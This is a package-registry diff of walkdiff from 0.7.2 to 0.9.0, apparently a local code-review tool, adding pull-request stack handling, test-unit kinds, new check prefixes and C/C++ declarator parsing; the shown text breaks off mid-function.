walkdiff 0.7.2 → 0.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/walkdiff.mjs CHANGED
@@ -10,9 +10,11 @@ import { Language, Parser } from "web-tree-sitter";
10
10
  import { homedir, tmpdir } from "node:os";
11
11
  import { existsSync, readFileSync } from "node:fs";
12
12
  import { parse } from "smol-toml";
13
+ import { LineCounter, isMap, isPair, isScalar, isSeq, parseAllDocuments } from "yaml";
13
14
  import Anthropic from "@anthropic-ai/sdk";
14
15
  import { betaZodOutputFormat } from "@anthropic-ai/sdk/helpers/beta/zod";
15
16
  import { inflateRawSync } from "node:zlib";
17
+ import { setTimeout } from "node:timers/promises";
16
18
  import { createServer } from "node:http";
17
19
  import { DatabaseSync } from "node:sqlite";
18
20
  // packages/engine/src/git.ts
@@ -204,6 +206,48 @@ Object.values(AnalysisStep);
204
206
  function stepLabel(step) {
205
207
  return STEP_LABELS[step];
206
208
  }
209
+ /** How a stack was found: the host's own stack feature, or Walkdiff following branches. */
210
+ const StackSource = {
211
+ Host: "host",
212
+ Branches: "branches"
213
+ };
214
+ /**
215
+ * An open PR in a stack. It has a number but no URL: the app builds the URL from the PR it was
216
+ * reviewing, so a host's answer can't send it, or the token, to another repository.
217
+ */
218
+ const stackMemberSchema$1 = z.object({
219
+ number: z.number().int().positive(),
220
+ title: z.string(),
221
+ author: z.string(),
222
+ headRef: z.string().min(1),
223
+ /** The branch it merges into, which is the head of the member below it, or the trunk. */
224
+ baseRef: z.string().min(1)
225
+ });
226
+ /** Open PRs that build on one another, each based on the one below it. */
227
+ const pullRequestStackSchema = z.object({
228
+ source: z.enum(StackSource),
229
+ /** The branch the bottom member merges into, usually the default branch. */
230
+ trunk: z.string().min(1),
231
+ /** Bottom first. Includes the PR the stack was found from. */
232
+ members: z.array(stackMemberSchema$1).min(2).max(20).readonly(),
233
+ /**
234
+ * PRs that build on the top member side by side. They fork the chain, so they aren't part of
235
+ * it, but a reviewer may still want to know of them.
236
+ */
237
+ leftOut: z.array(stackMemberSchema$1).max(20).readonly()
238
+ });
239
+ /** Where a review sits in a stack the reviewer grouped in the app. */
240
+ const stackPlaceSchema = z.object({
241
+ id: z.number().int().positive(),
242
+ /** 1 for the bottom member. */
243
+ position: z.number().int().positive()
244
+ });
245
+ /** A stack found from a review that the reviewer hasn't grouped yet, or that has gained PRs since. */
246
+ const stackOfferSchema = pullRequestStackSchema.extend({
247
+ /** The members accepting would add to the review's stack: not in it yet, and not turned down. */
248
+ joining: z.array(z.number().int().positive()).min(1).readonly() });
249
+ /** Accepting an offer. The AI choice applies to the members it adds, since it decides whether their code leaves the machine. */
250
+ const acceptStackRequestSchema = z.object({ ai: z.boolean() });
207
251
  const GitHostKind = {
208
252
  GitHub: "github",
209
253
  GitLab: "gitlab"
@@ -277,7 +321,11 @@ const SourceLanguage = {
277
321
  Rust: "rust",
278
322
  TypeScript: "typescript",
279
323
  Tsx: "tsx",
280
- Python: "python"
324
+ Python: "python",
325
+ Go: "go",
326
+ Java: "java",
327
+ C: "c",
328
+ Cpp: "cpp"
281
329
  };
282
330
  const UnitKind = {
283
331
  Function: "function",
@@ -292,6 +340,12 @@ const UnitKind = {
292
340
  Constant: "constant",
293
341
  Macro: "macro",
294
342
  Module: "module",
343
+ /** A group of tests, such as `describe("parser", () => …)`. Its tests and hooks are units of their own. */
344
+ TestSuite: "testSuite",
345
+ /** One test, such as `it("reads includes", () => …)`. */
346
+ Test: "test",
347
+ /** Setup or teardown around tests, such as `beforeEach(() => …)`. */
348
+ TestHook: "testHook",
295
349
  /** Everything in a file outside its top-level definitions: imports, top-level statements. */
296
350
  ModuleScope: "moduleScope"
297
351
  };
@@ -699,18 +753,24 @@ const ReviewStatus = {
699
753
  Ready: "ready",
700
754
  Failed: "failed"
701
755
  };
702
- /** One row of the local app's review list; the JSON its API and page share. */
703
756
  /** Coverage reports a reviewer picked for one PR, as text from their browser. */
704
757
  const attachCoverageRequestSchema = z.object({ reports: z.array(z.object({
705
758
  name: z.string().min(1),
706
759
  text: z.string()
707
760
  })).min(1) });
761
+ /** What a report describes: the commit it was made from, and the branch that commit was compared with. */
762
+ const reportHeadSchema = z.object({
763
+ headSha: commitShaSchema,
764
+ baseRef: z.string()
765
+ });
766
+ /** One row of the local app's review list; the JSON its API and page share. */
708
767
  const reviewSummarySchema = z.object({
709
768
  id: z.number().int().positive(),
710
769
  url: z.url(),
711
770
  host: z.enum(GitHostKind),
712
771
  /** `owner/repo#12` or `group/project!12`, known before the analysis finishes. */
713
772
  displayName: z.string(),
773
+ number: z.number().int().positive(),
714
774
  status: z.enum(ReviewStatus),
715
775
  /** The step a running analysis is on; null unless analyzing. Kept in memory, not stored. */
716
776
  step: z.enum(AnalysisStep).nullable().default(null),
@@ -727,6 +787,12 @@ const reviewSummarySchema = z.object({
727
787
  findings: z.number().int().nonnegative().nullable(),
728
788
  /** Where the report's test coverage came from; null when none was found. */
729
789
  coverageSource: z.string().nullable(),
790
+ /** Null until an analysis succeeds. */
791
+ reportHead: reportHeadSchema.nullable(),
792
+ /** Null unless the reviewer grouped this review with others in its stack. */
793
+ stack: stackPlaceSchema.nullable(),
794
+ /** A stack found for it that the reviewer can accept; null when there's nothing new to offer. */
795
+ stackOffer: stackOfferSchema.nullable().default(null),
730
796
  createdAt: z.iso.datetime(),
731
797
  updatedAt: z.iso.datetime()
732
798
  });
@@ -748,12 +814,14 @@ const CHECK_BY_RULE_PREFIX = /* @__PURE__ */ new Map([
748
814
  ["gitleaks.", "gitleaks"],
749
815
  ["oxlint.", "oxlint"],
750
816
  ["ruff.", "Ruff"],
817
+ ["ruff-security.", "Ruff security rules"],
751
818
  ["jscpd.", "jscpd"],
752
819
  ["quality.", "Function metrics"],
753
820
  ["breaking.", "Breaking changes"],
754
821
  ["trust.", "Dependency trust"],
755
822
  ["license.", "Licences"],
756
- ["zizmor.", "zizmor"]
823
+ ["zizmor.", "zizmor"],
824
+ ["poutine.", "poutine"]
757
825
  ]);
758
826
  /**
759
827
  * Which check raised a finding. Everything falls through to the built-in rules, so the counts per
@@ -821,6 +889,7 @@ function isBehaviourChange(change) {
821
889
  case UnitChangeKind.MovedOut: return false;
822
890
  }
823
891
  }
892
+ UnitKind.TestSuite, UnitKind.Test, UnitKind.TestHook;
824
893
  /** Places using this unit that the PR did not change. */
825
894
  function untouchedReferences(unit) {
826
895
  if (unit.impact?.status !== UnitImpactStatus.Traced) return [];
@@ -871,6 +940,7 @@ const CheckId = {
871
940
  OsvDatabase: "osvDatabase",
872
941
  DependencyTrust: "dependencyTrust",
873
942
  Zizmor: "zizmor",
943
+ Poutine: "poutine",
874
944
  Ruff: "ruff",
875
945
  Oxlint: "oxlint",
876
946
  Jscpd: "jscpd",
@@ -1081,11 +1151,12 @@ const reviewThreadSchema = z.object({
1081
1151
  isOutdated: z.boolean(),
1082
1152
  comments: z.array(threadCommentSchema).readonly()
1083
1153
  });
1154
+ const reviewerSchema = z.object({
1155
+ name: z.string(),
1156
+ state: z.enum(ReviewerState)
1157
+ });
1084
1158
  z.object({
1085
- reviewers: z.array(z.object({
1086
- name: z.string(),
1087
- state: z.enum(ReviewerState)
1088
- })).readonly(),
1159
+ reviewers: z.array(reviewerSchema).readonly(),
1089
1160
  threads: z.array(reviewThreadSchema).readonly(),
1090
1161
  /** True when the host had more than Walkdiff read. */
1091
1162
  truncated: z.boolean()
@@ -1103,6 +1174,94 @@ function lastLineOf(comment) {
1103
1174
  newLine: comment.line
1104
1175
  };
1105
1176
  }
1177
+ // packages/review-model/src/stackStatus.ts
1178
+ const PullRequestState = {
1179
+ Open: "open",
1180
+ Merged: "merged",
1181
+ Closed: "closed"
1182
+ };
1183
+ /** What the host says of a PR now: enough to tell whether its report still describes it. */
1184
+ const pullRequestStatusSchema = z.object({
1185
+ state: z.enum(PullRequestState),
1186
+ headSha: commitShaSchema,
1187
+ baseRef: z.string()
1188
+ });
1189
+ /** Why a member's report no longer describes it, if it doesn't. */
1190
+ const ReportChange = {
1191
+ None: "none",
1192
+ /** It was never analyzed successfully. */
1193
+ NoReport: "noReport",
1194
+ NewCommits: "newCommits",
1195
+ /** It merges into another branch now, as after the member below it merged, so its diff runs from a different base. */
1196
+ Retargeted: "retargeted"
1197
+ };
1198
+ /** Whether the host could be asked about a member. */
1199
+ const MemberCheck = {
1200
+ Checked: "checked",
1201
+ Failed: "failed"
1202
+ };
1203
+ const stackMemberStatusSchema = z.discriminatedUnion("check", [z.object({
1204
+ check: z.literal(MemberCheck.Checked),
1205
+ reviewId: z.number().int().positive(),
1206
+ status: pullRequestStatusSchema,
1207
+ /** Always `none` for a merged or closed PR, whose report no longer matters. */
1208
+ reportChange: z.enum(ReportChange),
1209
+ reviewers: z.array(reviewerSchema).readonly()
1210
+ }), z.object({
1211
+ check: z.literal(MemberCheck.Failed),
1212
+ reviewId: z.number().int().positive(),
1213
+ /** The host's reason, such as an expired token. */
1214
+ error: z.string()
1215
+ })]);
1216
+ z.object({
1217
+ id: z.number().int().positive(),
1218
+ trunk: z.string(),
1219
+ /** Bottom first. */
1220
+ members: z.array(stackMemberStatusSchema).readonly()
1221
+ });
1222
+ /**
1223
+ * Approving several members at once. Each names the commit the reviewer saw in the dialog, so an
1224
+ * approval can't reach code that arrived after they decided.
1225
+ */
1226
+ const approveStackRequestSchema = z.object({
1227
+ /** Posted with every approval; may be empty. */
1228
+ body: z.string().trim().max(MAX_COMMENT_CHARS),
1229
+ members: z.array(z.object({
1230
+ reviewId: z.number().int().positive(),
1231
+ headSha: commitShaSchema
1232
+ })).min(1).max(20)
1233
+ });
1234
+ /** A member that stops the whole approval before anything is posted, and why. */
1235
+ const blockedMemberSchema = z.object({
1236
+ reviewId: z.number().int().positive(),
1237
+ reason: z.string()
1238
+ });
1239
+ z.object({
1240
+ error: z.string(),
1241
+ blocked: z.array(blockedMemberSchema).min(1)
1242
+ });
1243
+ const ApprovalOutcome = {
1244
+ Posted: "posted",
1245
+ Refused: "refused"
1246
+ };
1247
+ const memberApprovalSchema = z.discriminatedUnion("outcome", [z.object({
1248
+ outcome: z.literal(ApprovalOutcome.Posted),
1249
+ reviewId: z.number().int().positive(),
1250
+ url: z.string()
1251
+ }), z.object({
1252
+ outcome: z.literal(ApprovalOutcome.Refused),
1253
+ reviewId: z.number().int().positive(),
1254
+ error: z.string()
1255
+ })]);
1256
+ z.object({ results: z.array(memberApprovalSchema) });
1257
+ z.object({
1258
+ reviewed: z.number().int().nonnegative(),
1259
+ total: z.number().int().nonnegative(),
1260
+ /** Comments written in the report and not posted yet. Approving from the list would leave them behind. */
1261
+ drafts: z.number().int().nonnegative(),
1262
+ /** The report these counts come from. After a refresh, the list can't trust them until the new report is opened. */
1263
+ head: reportHeadSchema
1264
+ }).refine((progress) => progress.reviewed <= progress.total);
1106
1265
  // packages/engine/src/blobs.ts
1107
1266
  const NEWLINE = 10;
1108
1267
  /**
@@ -1441,6 +1600,79 @@ function countChangedLines(content) {
1441
1600
  deletions
1442
1601
  };
1443
1602
  }
1603
+ // packages/engine/src/syntax/declarators.ts
1604
+ /**
1605
+ * C and C++ write a declared name inside nested declarators that read like its type:
1606
+ * `char *(*handlers[4])(int)` wraps `handlers` in pointer, array and function declarators.
1607
+ * These helpers find the name, and for a function the declarator listing its parameters.
1608
+ */
1609
+ const NAME_TYPES = /* @__PURE__ */ new Set([
1610
+ "identifier",
1611
+ "field_identifier",
1612
+ "type_identifier",
1613
+ "destructor_name",
1614
+ "operator_name",
1615
+ "operator_cast",
1616
+ "qualified_identifier",
1617
+ "template_function"
1618
+ ]);
1619
+ const WRAPPER_TYPES = /* @__PURE__ */ new Set([
1620
+ "parenthesized_declarator",
1621
+ "reference_declarator",
1622
+ "variadic_declarator",
1623
+ "attributed_declarator"
1624
+ ]);
1625
+ const FUNCTION_DECLARATOR = "function_declarator";
1626
+ const QUALIFIED_NAME = "qualified_identifier";
1627
+ const TEMPLATE_FUNCTION = "template_function";
1628
+ const TEMPLATE_TYPE$1 = "template_type";
1629
+ const SCOPE_SEPARATOR = "::";
1630
+ /** The name a declaration, definition or typedef declares through its first declarator. */
1631
+ function declaredName(declaration) {
1632
+ const chain = declaratorChain(declaration);
1633
+ const last = chain.at(-1);
1634
+ if (last === void 0 || !NAME_TYPES.has(last.type)) return void 0;
1635
+ const parent = chain.at(-2);
1636
+ const functionDeclarator = parent?.type === FUNCTION_DECLARATOR ? parent : void 0;
1637
+ return {
1638
+ ...splitQualifiedName(last),
1639
+ functionDeclarator
1640
+ };
1641
+ }
1642
+ function declaratorChain(declaration) {
1643
+ const chain = [];
1644
+ for (let current = declaration.childForFieldName("declarator"); current !== null; current = innerDeclarator(current)) {
1645
+ chain.push(current);
1646
+ if (NAME_TYPES.has(current.type)) break;
1647
+ }
1648
+ return chain;
1649
+ }
1650
+ function innerDeclarator(declarator) {
1651
+ return declarator.childForFieldName("declarator") ?? (WRAPPER_TYPES.has(declarator.type) ? declarator.firstNamedChild : null);
1652
+ }
1653
+ function splitQualifiedName(node) {
1654
+ const scopes = [];
1655
+ let current = node;
1656
+ for (let inner = qualifiedParts(current); inner !== void 0; inner = qualifiedParts(current)) {
1657
+ if (inner.scope !== null) scopes.push(scopeName(inner.scope));
1658
+ current = inner.name;
1659
+ }
1660
+ return {
1661
+ name: current.type === TEMPLATE_FUNCTION ? current.childForFieldName("name")?.text ?? current.text : current.text,
1662
+ nameNode: current,
1663
+ owner: scopes.length === 0 ? void 0 : scopes.join(SCOPE_SEPARATOR)
1664
+ };
1665
+ }
1666
+ function qualifiedParts(node) {
1667
+ const name = node.type === QUALIFIED_NAME ? node.childForFieldName("name") : null;
1668
+ return name === null ? void 0 : {
1669
+ scope: node.childForFieldName("scope"),
1670
+ name
1671
+ };
1672
+ }
1673
+ function scopeName(scope) {
1674
+ return scope.type === TEMPLATE_TYPE$1 ? scope.childForFieldName("name")?.text ?? scope.text : scope.text;
1675
+ }
1444
1676
  // packages/engine/src/syntax/languageSpec.ts
1445
1677
  /** How a caller supplies a parameter, or a marker in the list that changes how later ones are supplied. */
1446
1678
  const ParameterKind = {
@@ -1465,10 +1697,10 @@ const IdentifierUseKind = {
1465
1697
  /** The name on its own: `parse(input)`, `Size`. */
1466
1698
  Bare: "bare"
1467
1699
  };
1468
- const BARE_USE = { kind: IdentifierUseKind.Bare };
1700
+ const BARE_USE$1 = { kind: IdentifierUseKind.Bare };
1469
1701
  function classifyWithGrammar(leaf, grammar) {
1470
1702
  const parent = leaf.parent;
1471
- if (parent === null) return BARE_USE;
1703
+ if (parent === null) return BARE_USE$1;
1472
1704
  const member = grammar.member.get(parent.type);
1473
1705
  if (member !== void 0 && isField(parent, member[0], leaf)) return {
1474
1706
  kind: IdentifierUseKind.Member,
@@ -1482,7 +1714,7 @@ function classifyWithGrammar(leaf, grammar) {
1482
1714
  const label = grammar.labels.get(parent.type);
1483
1715
  if (label !== void 0 && isField(parent, label, leaf) || isBindingWithGrammar(leaf, grammar)) return;
1484
1716
  if (isField(parent, "name", leaf) && !grammar.nameIsUse.has(parent.type)) return;
1485
- return BARE_USE;
1717
+ return BARE_USE$1;
1486
1718
  }
1487
1719
  function isBindingWithGrammar(leaf, grammar) {
1488
1720
  const parent = leaf.parent;
@@ -1505,17 +1737,18 @@ function namedDefinition(node, kind) {
1505
1737
  const MAX_CALLEE_TEXT = 40;
1506
1738
  const LAST_SEGMENT = /[\p{L}\p{N}_$]+$/u;
1507
1739
  const RECEIVER_PARAMETER = /\b(self|cls)$|^this$/;
1740
+ const NO_PARAMETERS = "void";
1508
1741
  function extractShape(grammar, definition) {
1509
1742
  const fn = grammar.functionNode(definition);
1510
1743
  const calls = callNames(grammar, fn);
1511
1744
  const bailOuts = calls.list.filter((name) => grammar.errorCalls.has(name)).length;
1512
- const parameterNodes = parameterNodesOf(fn);
1513
- const parameters = new Map(parameterNodes.map((node) => [squeeze(parameterName(node)), squeeze(node.text)]));
1745
+ const slots = parameterNodesOf(grammar.signatureNode(fn)).flatMap(parameterSlots);
1746
+ const parameters = new Map(slots.map((slot) => [slot.name, slot.text]));
1514
1747
  const branches = fn.descendantsOfType([...grammar.branchTypes]).length;
1515
1748
  return {
1516
1749
  parameters,
1517
- signature: parameterNodes.map((node) => signatureParameter(grammar, node)),
1518
- returnType: typeText(fn.childForFieldName("return_type")),
1750
+ signature: slots.map((slot) => signatureParameter(grammar, slot)),
1751
+ returnType: typeText(fn.childForFieldName(grammar.returnTypeField)),
1519
1752
  calls: new Set(calls.list),
1520
1753
  errorPaths: fn.descendantsOfType([...grammar.errorTypes]).length + bailOuts,
1521
1754
  branches,
@@ -1567,37 +1800,55 @@ function factsBetween(before, after) {
1567
1800
  function parameterNodesOf(fn) {
1568
1801
  const list = fn.childForFieldName("parameters");
1569
1802
  const single = fn.childForFieldName("parameter");
1570
- return (list === null ? single === null ? [] : [single] : list.namedChildren).filter((node) => node !== null && !node.type.includes("comment"));
1803
+ return (list === null ? single === null ? [] : [single] : list.namedChildren).filter((node) => node !== null && !node.type.includes("comment") && node.text !== NO_PARAMETERS);
1804
+ }
1805
+ function parameterSlots(node) {
1806
+ const names = node.childrenForFieldName("name").filter((name) => name !== null);
1807
+ if (names.length < 2) return [{
1808
+ name: squeeze$1(parameterName(node)),
1809
+ text: squeeze$1(node.text),
1810
+ node
1811
+ }];
1812
+ const type = node.childForFieldName("type")?.text ?? "";
1813
+ return names.map((name) => ({
1814
+ name: name.text,
1815
+ text: squeeze$1(`${name.text} ${type}`),
1816
+ node
1817
+ }));
1571
1818
  }
1572
- function signatureParameter(grammar, node) {
1573
- const name = squeeze(parameterName(node)).replace(/^\*+/, "");
1819
+ function signatureParameter(grammar, slot) {
1820
+ const name = slot.name.replace(/^\*+/, "");
1574
1821
  return {
1575
1822
  name,
1576
- kind: RECEIVER_PARAMETER.test(name) ? ParameterKind.Receiver : grammar.parameterKind(node),
1577
- type: typeText(node.childForFieldName("type"))
1823
+ kind: RECEIVER_PARAMETER.test(name) ? ParameterKind.Receiver : grammar.parameterKind(slot.node),
1824
+ type: typeText(slot.node.childForFieldName("type"))
1578
1825
  };
1579
1826
  }
1580
1827
  function typeText(node) {
1581
- return squeeze(node?.text ?? "").replace(/^:\s*/, "") || null;
1828
+ return squeeze$1(node?.text ?? "").replace(/^:\s*/, "") || null;
1582
1829
  }
1583
1830
  function parameterName(node) {
1584
- const named = node.childForFieldName("pattern") ?? node.childForFieldName("name");
1831
+ const named = node.childForFieldName("pattern") ?? node.childForFieldName("name") ?? declaratorName(node) ?? declaredName(node)?.nameNode ?? null;
1585
1832
  if (named !== null) return named.text;
1586
1833
  return node.type.includes("typed") ? node.firstNamedChild?.text ?? node.text : node.text;
1587
1834
  }
1835
+ function declaratorName(node) {
1836
+ return node.namedChildren.find((child) => child?.type === "variable_declarator")?.childForFieldName("name") ?? null;
1837
+ }
1588
1838
  function callNames(grammar, fn) {
1589
1839
  return { list: fn.descendantsOfType([...grammar.calls.keys()]).flatMap((call) => {
1590
1840
  const syntax = call === null ? void 0 : grammar.calls.get(call.type);
1591
1841
  const callee = syntax === void 0 ? null : call?.childForFieldName(syntax.calleeField) ?? null;
1592
- return syntax === void 0 || callee === null ? [] : [`${calleeName(callee)}${syntax.suffix}`];
1842
+ const name = callee === null ? void 0 : calleeName(callee);
1843
+ return syntax === void 0 || name === void 0 ? [] : [`${name}${syntax.suffix}`];
1593
1844
  }) };
1594
1845
  }
1595
1846
  function calleeName(callee) {
1596
1847
  const text = callee.text.replace(/\s+/g, "");
1597
1848
  if (text.length <= MAX_CALLEE_TEXT && !text.includes("(")) return text;
1598
- return LAST_SEGMENT.exec(text)?.[0] ?? text.slice(0, MAX_CALLEE_TEXT);
1849
+ return LAST_SEGMENT.exec(text)?.[0];
1599
1850
  }
1600
- function squeeze(text) {
1851
+ function squeeze$1(text) {
1601
1852
  return text.replace(/\s+/g, " ").trim();
1602
1853
  }
1603
1854
  // packages/engine/src/syntax/definitions.ts
@@ -1611,6 +1862,7 @@ const CLOSING_BRACKETS = /* @__PURE__ */ new Set([
1611
1862
  "}",
1612
1863
  ">"
1613
1864
  ]);
1865
+ const TEST_TITLE_SEPARATOR = " › ";
1614
1866
  /** Extracts the file's units. Must run inside `withSyntaxTree`: it reads nodes of a live tree. */
1615
1867
  function extractUnits(spec, tree, source) {
1616
1868
  const walker = new DefinitionWalker(spec, spec.publicDefinitions(tree.rootNode));
@@ -1658,7 +1910,9 @@ var DefinitionWalker = class {
1658
1910
  const outer = this.#spec.outerNode(node);
1659
1911
  const nodes = [...this.#attachedPrefix(outer), outer];
1660
1912
  const first = nodes.at(0) ?? outer;
1661
- const qualifiedName = container === void 0 ? header.name : `${container.childPrefix}${this.#spec.separator}${header.name}`;
1913
+ const separator = container?.kind === UnitKind.TestSuite ? TEST_TITLE_SEPARATOR : this.#spec.separator;
1914
+ const prefix = [container?.childPrefix, header.owner].filter((part) => part !== void 0).join(this.#spec.separator);
1915
+ const qualifiedName = prefix === "" ? header.name : `${prefix}${separator}${header.name}`;
1662
1916
  return {
1663
1917
  header,
1664
1918
  node,
@@ -1719,6 +1973,12 @@ function toDefinition(spec, raw, lines) {
1719
1973
  text: outline(lines, startLine - 1, endLine - 1, raw.children),
1720
1974
  elidesNestedUnits: raw.children.length > 0
1721
1975
  },
1976
+ wholeSnapshot: {
1977
+ startLine,
1978
+ endLine,
1979
+ text: lines.slice(startLine - 1, endLine).join("\n"),
1980
+ elidesNestedUnits: false
1981
+ },
1722
1982
  codeTokens: code.map((token) => token.text),
1723
1983
  shape: raw.header.kind === UnitKind.Function || raw.header.kind === UnitKind.Method ? extractShape(spec.shape, raw.node) : void 0,
1724
1984
  fingerprints: {
@@ -1814,6 +2074,545 @@ function hashFull(tokens) {
1814
2074
  function hashTexts(texts) {
1815
2075
  return createHash("sha1").update(texts.join(TOKEN_SEPARATOR)).digest("hex");
1816
2076
  }
2077
+ // packages/engine/src/syntax/cFamily.ts
2078
+ const KIND_BY_SPECIFIER = /* @__PURE__ */ new Map([
2079
+ ["class_specifier", UnitKind.Class],
2080
+ ["struct_specifier", UnitKind.Struct],
2081
+ ["union_specifier", UnitKind.Struct],
2082
+ ["enum_specifier", UnitKind.Enum]
2083
+ ]);
2084
+ const CLASS_KINDS = /* @__PURE__ */ new Set([UnitKind.Class, UnitKind.Struct]);
2085
+ const CONTAINERS$5 = /* @__PURE__ */ new Set([
2086
+ UnitKind.Module,
2087
+ UnitKind.Class,
2088
+ UnitKind.Struct
2089
+ ]);
2090
+ const OPAQUE_NODE_TYPES$2 = /* @__PURE__ */ new Set([
2091
+ "compound_statement",
2092
+ "lambda_expression",
2093
+ "friend_declaration"
2094
+ ]);
2095
+ const TYPEDEF = "type_definition";
2096
+ const TEMPLATE = "template_declaration";
2097
+ const FIELD_LIST = "field_declaration_list";
2098
+ const NAMESPACE = "namespace_definition";
2099
+ const ACCESS_SPECIFIER = "access_specifier";
2100
+ const PUBLIC_ACCESS = "public";
2101
+ const PRIVATE_ACCESS = "private";
2102
+ const STATIC = "static";
2103
+ const NAME_WRAPPERS = /* @__PURE__ */ new Set([
2104
+ "qualified_identifier",
2105
+ "destructor_name",
2106
+ "template_function"
2107
+ ]);
2108
+ const DECLARING_PARENTS = /* @__PURE__ */ new Set(["function_declarator", TYPEDEF]);
2109
+ const BARE_USE = { kind: IdentifierUseKind.Bare };
2110
+ const MACRO_NAME = /^[A-Z][A-Z\d_]*$/;
2111
+ const TEST_MACROS = /* @__PURE__ */ new Set([
2112
+ "TEST",
2113
+ "TEST_F",
2114
+ "TEST_P",
2115
+ "TYPED_TEST",
2116
+ "TYPED_TEST_P",
2117
+ "BOOST_AUTO_TEST_CASE",
2118
+ "BOOST_FIXTURE_TEST_CASE",
2119
+ "BOOST_DATA_TEST_CASE"
2120
+ ]);
2121
+ const TEMPLATE_TYPE = "template_type";
2122
+ const MAX_SPECIALIZATION_NAME = 60;
2123
+ const ELLIPSIS = "…";
2124
+ const IMPLICITLY_INVOKED$1 = /^(?:main$|operator\b|~)/;
2125
+ const IDENTIFIER_GRAMMAR$5 = {
2126
+ member: /* @__PURE__ */ new Map([["field_expression", ["field", "argument"]]]),
2127
+ path: /* @__PURE__ */ new Map([["qualified_identifier", ["name", "scope"]]]),
2128
+ nameIsUse: /* @__PURE__ */ new Set(),
2129
+ labels: /* @__PURE__ */ new Map(),
2130
+ bindings: /* @__PURE__ */ new Map([
2131
+ ["parameter_declaration", "declarator"],
2132
+ ["optional_parameter_declaration", "declarator"],
2133
+ ["declaration", "declarator"],
2134
+ ["init_declarator", "declarator"],
2135
+ ["pointer_declarator", "declarator"],
2136
+ ["array_declarator", "declarator"],
2137
+ ["reference_declarator", null],
2138
+ ["variadic_declarator", null],
2139
+ ["for_range_loop", "declarator"]
2140
+ ])
2141
+ };
2142
+ function describe$4(node, container) {
2143
+ switch (node.type) {
2144
+ case "function_definition": return describeFunctionDefinition(node, container);
2145
+ case "declaration":
2146
+ case "field_declaration": return describeDeclaration(node, container);
2147
+ case TYPEDEF: return describeTypedef(node);
2148
+ case "alias_declaration": return namedDefinition(node, UnitKind.TypeAlias);
2149
+ case NAMESPACE: return namedDefinition(node, UnitKind.Module);
2150
+ case "preproc_function_def": return namedDefinition(node, UnitKind.Macro);
2151
+ case "preproc_def": return node.childForFieldName("value") === null ? void 0 : namedDefinition(node, UnitKind.Macro);
2152
+ default: return describeSpecifier(node);
2153
+ }
2154
+ }
2155
+ function describeFunctionDefinition(node, container) {
2156
+ const declared = declaredName(node);
2157
+ const call = declared?.functionDeclarator;
2158
+ if (!(declared !== void 0 && call !== void 0 && node.childForFieldName("type") === null && MACRO_NAME.test(declared.name))) return describeFunction(declared, container);
2159
+ if (container !== void 0 && CLASS_KINDS.has(container.kind) && !isConstructorOf(container, declared.name)) return void 0;
2160
+ return {
2161
+ kind: TEST_MACROS.has(declared.name) ? UnitKind.Test : UnitKind.Function,
2162
+ name: squeeze(call.text),
2163
+ nameNode: declared.nameNode
2164
+ };
2165
+ }
2166
+ function isConstructorOf(container, name) {
2167
+ return container.childPrefix === name || container.childPrefix.endsWith(`::${name}`);
2168
+ }
2169
+ function describeFunction(declared, container) {
2170
+ if (declared === void 0) return void 0;
2171
+ const header = {
2172
+ kind: declared.owner !== void 0 || container !== void 0 && CLASS_KINDS.has(container.kind) ? UnitKind.Method : UnitKind.Function,
2173
+ name: declared.name,
2174
+ nameNode: declared.nameNode
2175
+ };
2176
+ return declared.owner === void 0 ? header : {
2177
+ ...header,
2178
+ owner: declared.owner
2179
+ };
2180
+ }
2181
+ function describeDeclaration(node, container) {
2182
+ const declared = declaredName(node);
2183
+ if (declared?.functionDeclarator !== void 0) return describeFunction(declared, container);
2184
+ const isFileScope = container === void 0 || container.kind === UnitKind.Module;
2185
+ const declaresOneVariable = node.type === "declaration" && node.childrenForFieldName("declarator").length === 1;
2186
+ return declared === void 0 || !isFileScope || !declaresOneVariable ? void 0 : {
2187
+ kind: UnitKind.Constant,
2188
+ name: declared.name,
2189
+ nameNode: declared.nameNode
2190
+ };
2191
+ }
2192
+ function describeTypedef(node) {
2193
+ const declared = declaredName(node);
2194
+ if (declared === void 0) return void 0;
2195
+ const type = node.childForFieldName("type");
2196
+ return {
2197
+ kind: (type?.childForFieldName("body") === null ? void 0 : KIND_BY_SPECIFIER.get(type?.type ?? "")) ?? UnitKind.TypeAlias,
2198
+ name: declared.name,
2199
+ nameNode: declared.nameNode
2200
+ };
2201
+ }
2202
+ function describeSpecifier(node) {
2203
+ const kind = KIND_BY_SPECIFIER.get(node.type);
2204
+ const nameNode = node.childForFieldName("name");
2205
+ const definesBody = node.childForFieldName("body") !== null;
2206
+ if (kind === void 0 || nameNode === null || !definesBody || node.parent?.type === TYPEDEF) return void 0;
2207
+ if (nameNode.type !== TEMPLATE_TYPE) return {
2208
+ kind,
2209
+ name: nameNode.text,
2210
+ nameNode
2211
+ };
2212
+ return {
2213
+ kind,
2214
+ name: specializationName(nameNode),
2215
+ nameNode: nameNode.childForFieldName("name") ?? nameNode
2216
+ };
2217
+ }
2218
+ function specializationName(type) {
2219
+ const template = type.childForFieldName("name")?.text ?? "";
2220
+ const kept = [];
2221
+ for (const argument of type.childForFieldName("arguments")?.namedChildren ?? []) {
2222
+ const text = squeeze(argument?.text ?? "");
2223
+ if (kept.length > 0 && `${template}<${[...kept, text].join(", ")}>`.length > MAX_SPECIALIZATION_NAME) {
2224
+ kept.push(ELLIPSIS);
2225
+ break;
2226
+ }
2227
+ kept.push(text);
2228
+ }
2229
+ return `${template}<${kept.join(", ")}>`;
2230
+ }
2231
+ function squeeze(text) {
2232
+ return text.replace(/\s+/g, " ");
2233
+ }
2234
+ function outerNode$2(node) {
2235
+ return node.parent?.type === TEMPLATE ? node.parent : node;
2236
+ }
2237
+ function isPublicDefinition(node, _name, container) {
2238
+ if (container !== void 0 && CLASS_KINDS.has(container.kind)) return memberAccess(node, container.kind) === PUBLIC_ACCESS;
2239
+ return !outerNode$2(node).namedChildren.some((child) => child?.type === "storage_class_specifier" && child.text === STATIC) && !isInAnonymousNamespace(node);
2240
+ }
2241
+ function memberAccess(node, containerKind) {
2242
+ for (let sibling = memberOfClass(node).previousNamedSibling; sibling !== null; sibling = sibling.previousNamedSibling) if (sibling.type === ACCESS_SPECIFIER) return sibling.text;
2243
+ return containerKind === UnitKind.Struct ? PUBLIC_ACCESS : PRIVATE_ACCESS;
2244
+ }
2245
+ function memberOfClass(node) {
2246
+ let member = node;
2247
+ while (member.parent !== null && member.parent.type !== FIELD_LIST) member = member.parent;
2248
+ return member;
2249
+ }
2250
+ function isInAnonymousNamespace(node) {
